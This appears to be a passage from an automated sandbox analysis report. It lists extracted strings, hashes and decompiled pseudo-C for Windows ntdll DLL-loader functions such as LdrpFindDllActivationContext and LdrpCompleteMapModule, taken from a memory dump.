0x00c482ff
0x00bf3f0e
0x00bf3f11
0x00bf3f16
0x00bf3f1d
0x00bf3f31
0x00c48307
0x00c48307
0x00bf3f31
0x00bf3f39
0x00bf3f48
0x00bf3f4d
0x00bf3f50
0x00bf3f50
0x00bf3f53
0x00bf3f58
0x00bf3f65
0x00bf3f65
0x00bf3f6a
0x00000000
0x00bf3f6a
0x00bf3edd
0x00bf3dda
0x00bf3ddd
0x00bf3de0
0x00bf3de5
0x00c48245
0x00bf3deb
0x00bf3df7
0x00bf3dfc
0x00bf3dfe
0x00bf3e01
0x00bf3e01
0x00bf3e06
0x00c4824d
0x00c4824f
0x00c48254
0x00000000
0x00bf3e0c
0x00bf3e11
0x00bf3e16
0x00bf3e19
0x00bf3e29
0x00bf3e2c
0x00bf3e2f
0x00c4825c
0x00c4825f
0x00c48261
0x00c48264
0x00c4826c
0x00c48280
0x00c48282
0x00c48282
0x00c48289
0x00c48290
0x00c48293
0x00c48294
0x00c48298
0x00c4829b
0x00c4829b
0x00bf3e35
0x00bf3e38
0x00bf3e3d
0x00bf3e44
0x00bf3e58
0x00c482a3
0x00c482a3
0x00bf3e58
0x00bf3e60
0x00bf3e6f
0x00bf3e74
0x00bf3e77
0x00bf3e77
0x00bf3e7a
0x00bf3e7f
0x00bf3e8c
0x00bf3e8c
0x00bf3e91
0x00000000
0x00bf3e91

Strings

Kernel-MUI-Language-Allowed, xrefs: 00BF3DC0
Kernel-MUI-Language-SKU, xrefs: 00BF3F70
Kernel-MUI-Language-Disallowed, xrefs: 00BF3E97
WindowsExcludedProcs, xrefs: 00BF3D6F
Kernel-MUI-Number-Allowed, xrefs: 00BF3D8C

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: a565ae3fef4410a276c9915fa45bca3606fea007eef0c9714effa96533360e3f
Instruction ID: da45a5bf9419a89271a87baac9e551c3e782256231f8d412f31c0fe1f9e6df33
Opcode Fuzzy Hash: a565ae3fef4410a276c9915fa45bca3606fea007eef0c9714effa96533360e3f
Instruction Fuzzy Hash: B7F13D72D00619EBCB15DF98C980AEFB7F9FF08750F1500AAEA05A7251DB749E05DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C18E00, Relevance: 6.4, Strings: 5, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00C18E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0xcdd360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0xcd8464; // 0x73b80110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0xcd5780 & 0x00000003) != 0) {
							E00C65510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0xcd5780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E00C2B640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0xcd7984; // 0x782b28
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0xcd8464; // 0x73b80110
					 *0xcdb1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E00C19B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0xcd5780 & 0x00000005) != 0) {
						_push(_t49);
						E00C65510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}

0x00c18e0f
0x00c18e16
0x00c18e19
0x00c18e1b
0x00c18e21
0x00c18e7f
0x00c18e85
0x00c59354
0x00c5936c
0x00c59371
0x00c5937b
0x00c59381
0x00c59381
0x00c5937b
0x00c18e9d
0x00c18e9d
0x00c18e29
0x00c18e2c
0x00c18e38
0x00c18e3e
0x00c18e43
0x00c18eb5
0x00c18eb9
0x00c592aa
0x00c592af
0x00c592e8
0x00c592e8
0x00c592af
0x00c18eb9
0x00c18e45
0x00c18e53
0x00c18e5b
0x00c18e5f
0x00c18e78
0x00c18e78
0x00c18e7d
0x00c18ec3
0x00c18ecd
0x00c18ed2
0x00c18ed2
0x00c18ec5
0x00c18ec5
0x00000000
0x00c18e7d
0x00c18e67
0x00c18ea4
0x00c5931a
0x00000000
0x00000000
0x00c59320
0x00c18ea4
0x00c18e70
0x00c59325
0x00c59340
0x00c59345
0x00c59345
0x00c18e76
0x00000000
0x00000000
0x00000000
0x00000000

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 00C5933B, 00C59367
(+x, xrefs: 00C18E2C
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 00C5932A
Querying the active activation context failed with status 0x%08lx, xrefs: 00C59357
LdrpFindDllActivationContext, xrefs: 00C59331, 00C5935D

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: (+x$LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 0-1865229082
Opcode ID: 1e7da813203c6fc2af9f5f184d1d76909e05202b2289eb7891e55c50e1b606cd
Instruction ID: dcd541877ee370e60e4b2f77985bb20d7de9a25bf2a0f784077f770e39cd6f52
Opcode Fuzzy Hash: 1e7da813203c6fc2af9f5f184d1d76909e05202b2289eb7891e55c50e1b606cd
Instruction Fuzzy Hash: 64411929A08311DEDF34AB148C49BF9B7B4AF13304F16416AE824975A1EF709EC8A2C1

Uniqueness

Uniqueness Score: -1.00%

Function 00BF8794, Relevance: 4.0, Strings: 3, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00BF8794(void* __ecx) {
				signed int _v0;
				char _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t77;
				signed int _t80;
				signed char _t81;
				signed int _t87;
				signed int _t91;
				void* _t92;
				void* _t94;
				signed int _t95;
				signed int _t103;
				signed int _t105;
				signed int _t110;
				signed int _t118;
				intOrPtr* _t121;
				intOrPtr _t122;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t134;
				signed int _t136;
				signed int _t143;
				signed int* _t147;
				signed int _t151;
				void* _t153;
				signed int* _t157;
				signed int _t159;
				signed int _t161;
				signed int _t166;
				signed int _t168;

				_push(__ecx);
				_t153 = __ecx;
				_t159 = 0;
				_t121 = __ecx + 0x3c;
				if( *_t121 == 0) {
					L2:
					_t77 =  *((intOrPtr*)(_t153 + 0x58));
					if(_t77 == 0 ||  *_t77 ==  *((intOrPtr*)(_t153 + 0x54))) {
						_t122 =  *((intOrPtr*)(_t153 + 0x20));
						_t180 =  *((intOrPtr*)(_t122 + 0x3a));
						if( *((intOrPtr*)(_t122 + 0x3a)) != 0) {
							L6:
							if(E00BF934A() != 0) {
								_t159 = E00C6A9D2( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)), 0, 0);
								__eflags = _t159;
								if(_t159 < 0) {
									_t81 =  *0xcd5780; // 0x0
									__eflags = _t81 & 0x00000003;
									if((_t81 & 0x00000003) != 0) {
										_push(_t159);
										E00C65510("minkernel\\ntdll\\ldrsnap.c", 0x235, "LdrpDoPostSnapWork", 0, "LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x\n",  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)));
										_t81 =  *0xcd5780; // 0x0
									}
									__eflags = _t81 & 0x00000010;
									if((_t81 & 0x00000010) != 0) {
										asm("int3");
									}
								}
							}
						} else {
							_t159 = E00BF849B(0, _t122, _t153, _t159, _t180);
							if(_t159 >= 0) {
								goto L6;
							}
						}
						_t80 = _t159;
						goto L8;
					} else {
						_t125 = 0x13;
						asm("int 0x29");
						_push(0);
						_push(_t159);
						_t161 = _t125;
						_t87 =  *( *[fs:0x30] + 0x1e8);
						_t143 = 0;
						_v40 = _t161;
						_t118 = 0;
						_push(_t153);
						__eflags = _t87;
						if(_t87 != 0) {
							_t118 = _t87 + 0x5d8;
							__eflags = _t118;
							if(_t118 == 0) {
								L46:
								_t118 = 0;
							} else {
								__eflags =  *(_t118 + 0x30);
								if( *(_t118 + 0x30) == 0) {
									goto L46;
								}
							}
						}
						_v32 = 0;
						_v28 = 0;
						_v16 = 0;
						_v20 = 0;
						_v12 = 0;
						__eflags = _t118;
						if(_t118 != 0) {
							__eflags = _t161;
							if(_t161 != 0) {
								__eflags =  *(_t118 + 8);
								if( *(_t118 + 8) == 0) {
									L22:
									_t143 = 1;
									__eflags = 1;
								} else {
									_t19 = _t118 + 0x40; // 0x40
									_t156 = _t19;
									E00BF8999(_t19,  &_v16);
									__eflags = _v0;
									if(_v0 != 0) {
										__eflags = _v0 - 1;
										if(_v0 != 1) {
											goto L22;
										} else {
											_t128 =  *(_t161 + 0x64);
											__eflags =  *(_t161 + 0x64);
											if( *(_t161 + 0x64) == 0) {
												goto L22;
											} else {
												E00BF8999(_t128,  &_v12);
												_t147 = _v12;
												_t91 = 0;
												__eflags = 0;
												_t129 =  *_t147;
												while(1) {
													__eflags =  *((intOrPtr*)(0xcd5c60 + _t91 * 8)) - _t129;
													if( *((intOrPtr*)(0xcd5c60 + _t91 * 8)) == _t129) {
														break;
													}
													_t91 = _t91 + 1;
													__eflags = _t91 - 5;
													if(_t91 < 5) {
														continue;
													} else {
														_t131 = 0;
														__eflags = 0;
													}
													L37:
													__eflags = _t131;
													if(_t131 != 0) {
														goto L22;
													} else {
														__eflags = _v16 - _t147;
														if(_v16 != _t147) {
															goto L22;
														} else {
															E00C02280(_t92, 0xcd86cc);
															_t94 = E00CB9DFB( &_v20);
															__eflags = _t94 - 1;
															if(_t94 != 1) {
															}
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															_t95 = E00C161A0( &_v32);
															__eflags = _t95;
															if(_t95 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t71 = _t118 + 0x40; // 0x3f
																	_t134 = _t71;
																	goto L55;
																}
															}
															goto L30;
														}
													}
													goto L56;
												}
												_t92 = 0xcd5c64 + _t91 * 8;
												asm("lock xadd [eax], ecx");
												_t131 = (_t129 | 0xffffffff) - 1;
												goto L37;
											}
										}
										goto L56;
									} else {
										_t143 = E00BF8A0A( *((intOrPtr*)(_t161 + 0x18)),  &_v12);
										__eflags = _t143;
										if(_t143 != 0) {
											_t157 = _v12;
											_t103 = 0;
											__eflags = 0;
											_t136 =  &(_t157[1]);
											 *(_t161 + 0x64) = _t136;
											_t151 =  *_t157;
											_v20 = _t136;
											while(1) {
												__eflags =  *((intOrPtr*)(0xcd5c60 + _t103 * 8)) - _t151;
												if( *((intOrPtr*)(0xcd5c60 + _t103 * 8)) == _t151) {
													break;
												}
												_t103 = _t103 + 1;
												__eflags = _t103 - 5;
												if(_t103 < 5) {
													continue;
												}
												L21:
												_t105 = E00C2F380(_t136, 0xbc1184, 0x10);
												__eflags = _t105;
												if(_t105 != 0) {
													__eflags =  *_t157 -  *_v16;
													if( *_t157 >=  *_v16) {
														goto L22;
													} else {
														asm("cdq");
														_t166 = _t157[5] & 0x0000ffff;
														_t108 = _t157[5] & 0x0000ffff;
														asm("cdq");
														_t168 = _t166 << 0x00000010 | _t157[5] & 0x0000ffff;
														__eflags = ((_t151 << 0x00000020 | _t166) << 0x10 | _t151) -  *((intOrPtr*)(_t118 + 0x2c));
														if(__eflags > 0) {
															L29:
															E00C02280(_t108, 0xcd86cc);
															 *_t118 =  *_t118 + 1;
															_t42 = _t118 + 0x40; // 0x3f
															_t156 = _t42;
															asm("adc dword [ebx+0x4], 0x0");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															_t110 = E00C161A0( &_v32);
															__eflags = _t110;
															if(_t110 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t134 = _v20;
																	L55:
																	E00CB9D2E(_t134, 1, _v32, _v28,  *(_v24 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_v24 + 0x28)));
																}
															}
															L30:
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															E00BFFFB0(_t118, _t156, 0xcd86cc);
															goto L22;
														} else {
															if(__eflags < 0) {
																goto L22;
															} else {
																__eflags = _t168 -  *((intOrPtr*)(_t118 + 0x28));
																if(_t168 <  *((intOrPtr*)(_t118 + 0x28))) {
																	goto L22;
																} else {
																	goto L29;
																}
															}
														}
													}
													goto L56;
												}
												goto L22;
											}
											asm("lock inc dword [eax]");
											goto L21;
										}
									}
								}
							}
						}
						return _t143;
					}
				} else {
					_push( &_v8);
					_push( *((intOrPtr*)(__ecx + 0x50)));
					_push(__ecx + 0x40);
					_push(_t121);
					_push(0xffffffff);
					_t80 = E00C29A00();
					_t159 = _t80;
					if(_t159 < 0) {
						L8:
						return _t80;
					} else {
						goto L2;
					}
				}
				L56:
			}

0x00bf8799
0x00bf879d
0x00bf87a1
0x00bf87a3
0x00bf87a8
0x00bf87c3
0x00bf87c3
0x00bf87c8
0x00bf87d1
0x00bf87d4
0x00bf87d8
0x00bf87e5
0x00bf87ec
0x00c49bfe
0x00c49c00
0x00c49c02
0x00c49c08
0x00c49c0d
0x00c49c0f
0x00c49c14
0x00c49c2d
0x00c49c32
0x00c49c37
0x00c49c3a
0x00c49c3c
0x00c49c42
0x00c49c42
0x00c49c3c
0x00c49c02
0x00bf87da
0x00bf87df
0x00bf87e3
0x00000000
0x00000000
0x00bf87e3
0x00bf87f2
0x00000000
0x00bf87fb
0x00bf87fd
0x00bf87fe
0x00bf880e
0x00bf880f
0x00bf8810
0x00bf8814
0x00bf881a
0x00bf881c
0x00bf881f
0x00bf8821
0x00bf8822
0x00bf8824
0x00bf8826
0x00bf882c
0x00bf882e
0x00c49c48
0x00c49c48
0x00bf8834
0x00bf8834
0x00bf8837
0x00000000
0x00000000
0x00bf8837
0x00bf882e
0x00bf883d
0x00bf8840
0x00bf8843
0x00bf8846
0x00bf8849
0x00bf884c
0x00bf884e
0x00bf8850
0x00bf8852
0x00bf8854
0x00bf8857
0x00bf88b4
0x00bf88b6
0x00bf88b6
0x00bf8859
0x00bf8859
0x00bf8859
0x00bf8861
0x00bf8866
0x00bf886a
0x00bf893d
0x00bf8941
0x00000000
0x00bf8947
0x00bf8947
0x00bf894a
0x00bf894c
0x00000000
0x00bf8952
0x00bf8955
0x00bf895a
0x00bf895d
0x00bf895d
0x00bf895f
0x00bf8961
0x00bf8961
0x00bf8968
0x00000000
0x00000000
0x00bf896a
0x00bf896b
0x00bf896e
0x00000000
0x00bf8970
0x00bf8970
0x00bf8970
0x00bf8970
0x00bf8972
0x00bf8972
0x00bf8974
0x00000000
0x00bf897a
0x00bf897a
0x00bf897d
0x00000000
0x00bf8983
0x00c49c65
0x00c49c6d
0x00c49c72
0x00c49c75
0x00c49c75
0x00c49c82
0x00c49c86
0x00c49c87
0x00c49c88
0x00c49c89
0x00c49c8c
0x00c49c90
0x00c49c95
0x00c49c97
0x00c49ca0
0x00c49ca3
0x00c49ca9
0x00c49ca9
0x00000000
0x00c49ca9
0x00c49ca3
0x00000000
0x00c49c97
0x00bf897d
0x00000000
0x00bf8974
0x00bf8988
0x00bf8992
0x00bf8996
0x00000000
0x00bf8996
0x00bf894c
0x00000000
0x00bf8870
0x00bf887b
0x00bf887d
0x00bf887f
0x00bf8881
0x00bf8884
0x00bf8884
0x00bf8886
0x00bf8889
0x00bf888c
0x00bf888e
0x00bf8891
0x00bf8891
0x00bf8898
0x00000000
0x00000000
0x00bf889a
0x00bf889b
0x00bf889e
0x00000000
0x00000000
0x00bf88a0
0x00bf88a8
0x00bf88b0
0x00bf88b2
0x00bf88d3
0x00bf88d5
0x00000000
0x00bf88d7
0x00bf88db
0x00bf88dc
0x00bf88e0
0x00bf88e8
0x00bf88ee
0x00bf88f0
0x00bf88f3
0x00bf88fc
0x00bf8901
0x00bf8906
0x00bf890c
0x00bf890c
0x00bf890f
0x00bf8916
0x00bf8917
0x00bf8918
0x00bf8919
0x00bf891a
0x00bf891f
0x00bf8921
0x00c49c52
0x00c49c55
0x00c49c5b
0x00c49cac
0x00c49cc0
0x00c49cc0
0x00c49c55
0x00bf8927
0x00bf8927
0x00bf892f
0x00bf8933
0x00000000
0x00bf88f5
0x00bf88f5
0x00000000
0x00bf88f7
0x00bf88f7
0x00bf88fa
0x00000000
0x00000000
0x00000000
0x00000000
0x00bf88fa
0x00bf88f5
0x00bf88f3
0x00000000
0x00bf88d5
0x00000000
0x00bf88b2
0x00bf88c9
0x00000000
0x00bf88c9
0x00bf887f
0x00bf886a
0x00bf8857
0x00bf8852
0x00bf88bf
0x00bf88bf
0x00bf87aa
0x00bf87ad
0x00bf87ae
0x00bf87b4
0x00bf87b5
0x00bf87b6
0x00bf87b8
0x00bf87bd
0x00bf87c1
0x00bf87f4
0x00bf87fa
0x00000000
0x00000000
0x00000000
0x00bf87c1
0x00000000

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 00C49C28
LdrpDoPostSnapWork, xrefs: 00C49C1E
LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 00C49C18

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
API String ID: 2994545307-1948996284
Opcode ID: 67a5b1155e7cefdadfccd42fe112b89839205405ead122476d74cdc1874ba306
Instruction ID: 894a4c641ae799df341a595c6aa9368645229ca1228eee3a6235fa869009cbc3
Opcode Fuzzy Hash: 67a5b1155e7cefdadfccd42fe112b89839205405ead122476d74cdc1874ba306
Instruction Fuzzy Hash: D391E331A0021ADBDF18DF59C8C1ABAB7F5FF45350B5441A9EA05AB251DB70ED09CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00BF7E41, Relevance: 3.9, Strings: 3, Instructions: 174
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00BF7E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t73;
				void* _t77;
				char* _t82;
				char* _t87;
				signed char* _t97;
				signed char _t102;
				intOrPtr _t107;
				signed char* _t108;
				intOrPtr _t112;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;

				_t107 = __edx;
				_v12 = __ecx;
				_t125 =  *((intOrPtr*)(__ecx + 0x20));
				_t124 = 0;
				_v20 = __edx;
				if(E00BFCEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
					_t112 = _v8;
				} else {
					_t112 = 0;
					_v8 = 0;
				}
				if(_t112 != 0) {
					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
						_t124 = 0xc000007b;
						goto L8;
					}
					_t73 =  *(_t125 + 0x34) | 0x00400000;
					 *(_t125 + 0x34) = _t73;
					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
						goto L3;
					}
					 *(_t125 + 0x34) = _t73 | 0x01000000;
					_t124 = E00BEC9A4( *((intOrPtr*)(_t125 + 0x18)));
					if(_t124 < 0) {
						goto L8;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
						L8:
						return _t124;
					}
					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
							goto L5;
						}
						_t102 =  *0xcd5780; // 0x0
						if((_t102 & 0x00000003) != 0) {
							E00C65510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
							_t102 =  *0xcd5780; // 0x0
						}
						if((_t102 & 0x00000010) != 0) {
							asm("int3");
						}
						_t124 = 0xc0000428;
						goto L8;
					}
					L5:
					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
						goto L8;
					}
					_t77 = _a4 - 0x40000003;
					if(_t77 == 0 || _t77 == 0x33) {
						_v16 =  *((intOrPtr*)(_t125 + 0x18));
						if(E00C07D50() != 0) {
							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t82 = 0x7ffe0384;
						}
						_t108 = 0x7ffe0385;
						if( *_t82 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E00C07D50() == 0) {
									_t97 = 0x7ffe0385;
								} else {
									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t97 & 0x00000020) != 0) {
									E00C67016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						if(_a4 != 0x40000003) {
							L14:
							_t126 =  *((intOrPtr*)(_t125 + 0x18));
							if(E00C07D50() != 0) {
								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t87 = 0x7ffe0384;
							}
							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E00C07D50() != 0) {
									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t108 & 0x00000020) != 0) {
									E00C67016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
							goto L8;
						} else {
							_v16 = _t125 + 0x24;
							_t124 = E00C1A1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
							if(_t124 < 0) {
								E00BEB1E1(_t124, 0x1490, 0, _v16);
								goto L8;
							}
							goto L14;
						}
					} else {
						goto L8;
					}
				}
			}

0x00bf7e4c
0x00bf7e50
0x00bf7e55
0x00bf7e58
0x00bf7e5d
0x00bf7e71
0x00bf7f33
0x00bf7e77
0x00bf7e77
0x00bf7e79
0x00bf7e79
0x00bf7e7e
0x00bf7f45
0x00c49848
0x00000000
0x00c49848
0x00bf7f4e
0x00bf7f53
0x00bf7f5a
0x00000000
0x00000000
0x00c4985a
0x00c49862
0x00c49866
0x00000000
0x00c4986c
0x00000000
0x00c4986c
0x00bf7e84
0x00bf7e84
0x00bf7e8d
0x00c49871
0x00bf7eb8
0x00bf7ec0
0x00bf7ec0
0x00bf7e9a
0x00c4987e
0x00000000
0x00000000
0x00c49884
0x00c4988b
0x00c498a7
0x00c498ac
0x00c498b1
0x00c498b6
0x00c498b8
0x00c498b8
0x00c498b9
0x00000000
0x00c498b9
0x00bf7ea0
0x00bf7ea7
0x00000000
0x00000000
0x00bf7eac
0x00bf7eb1
0x00bf7ec6
0x00bf7ed0
0x00c498cc
0x00bf7ed6
0x00bf7ed6
0x00bf7ed6
0x00bf7ede
0x00bf7ee3
0x00c498e3
0x00c498f0
0x00c49902
0x00c498f2
0x00c498fb
0x00c498fb
0x00c49907
0x00c4991d
0x00c4991d
0x00c49907
0x00c498e3
0x00bf7ef0
0x00bf7f14
0x00bf7f14
0x00bf7f1e
0x00c49946
0x00bf7f24
0x00bf7f24
0x00bf7f24
0x00bf7f2c
0x00c4996a
0x00c49975
0x00c49975
0x00c4997e
0x00c49993
0x00c49993
0x00c4997e
0x00000000
0x00bf7ef2
0x00bf7efc
0x00bf7f0a
0x00bf7f0e
0x00c49933
0x00000000
0x00c49933
0x00000000
0x00bf7f0e
0x00000000
0x00000000
0x00000000
0x00bf7eb1

Strings

minkernel\ntdll\ldrmap.c, xrefs: 00C498A2
Could not validate the crypto signature for DLL %wZ, xrefs: 00C49891
LdrpCompleteMapModule, xrefs: 00C49898

Memory Dump Source

Source File: 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: b916e2531b9d1d290b00b414660651bbac07df228aedb42df0a388a889e0e994
Instruction ID: 89b64f4d97aab586fc15ced33f6c6ee3a95285409833506d5091288d02c2d40c
Opcode Fuzzy Hash: b916e2531b9d1d290b00b414660651bbac07df228aedb42df0a388a889e0e994
Instruction Fuzzy Hash: D051D031A487499BDB21CB5CC984B3A7BE8FF01314F1406DAEA619B6E2DB34ED04C751

Uniqueness

Uniqueness Score: -1.00%

Function 00BEE620, Relevance: 3.9, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00BEE620(void* __ecx, short* __edx, short* _a4) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v76;
				void* _v84;
				signed int _t59;
				signed int _t74;
				signed short* _t75;
				signed int _t76;
				signed short* _t78;
				signed int _t83;
				short* _t93;
				signed short* _t94;
				short* _t96;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t102;

				_t80 = __ecx;
				_t101 = (_t99 & 0xfffffff8) - 0x34;
				_t96 = __edx;
				_v44 = __edx;
				_t78 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t97 = 0xc000000d;
				} else {
					_t93 = _a4;
					if(_t93 == 0) {
						goto L28;
					}
					_t78 = E00BEF358(__ecx, 0xac);
					if(_t78 == 0) {
						_t97 = 0xc0000017;
						L6:
						if(_v56 != 0) {
							_push(_v56);
							E00C295D0();
						}
						if(_t78 != 0) {
							L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
						}
						return _t97;
					}
					E00C2FA60(_t78, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t102 = _t101 + 0xc;
					 *_t96 = 0;
					 *_t93 = 0;
					E00C2BB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t97 = E00C29600();
					if(_t97 < 0) {
						goto L6;
					}
					E00C2BB40(0,  &_v36, L"InstallLanguageFallback");
					_push(0);
					_v48 = 4;
					_t97 = L00BEF018(_v64,  &_v44,  &_v56, _t78,  &_v48);
					if(_t97 >= 0) {
						if(_v52 != 1) {
							L17:
							_t97 = 0xc0000001;
							goto L6;
						}
						_t59 =  *_t78 & 0x0000ffff;
						_t94 = _t78;
						_t83 = _t59;
						if(_t59 == 0) {
							L19:
							if(_t83 == 0) {
								L23:
								E00C2BB40(_t83, _t102 + 0x24, _t78);
								if(L00BF43C0( &_v48,  &_v64) == 0) {
									goto L17;
								}
								_t84 = _v48;
								 *_v48 = _v56;
								if( *_t94 != 0) {
									E00C2BB40(_t84, _t102 + 0x24, _t94);
									if(L00BF43C0( &_v48,  &_v64) != 0) {
										 *_a4 = _v56;
									} else {
										_t97 = 0xc0000001;
										 *_v48 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t83 & 0x0000ffff;
							while(_t83 == 0x20) {
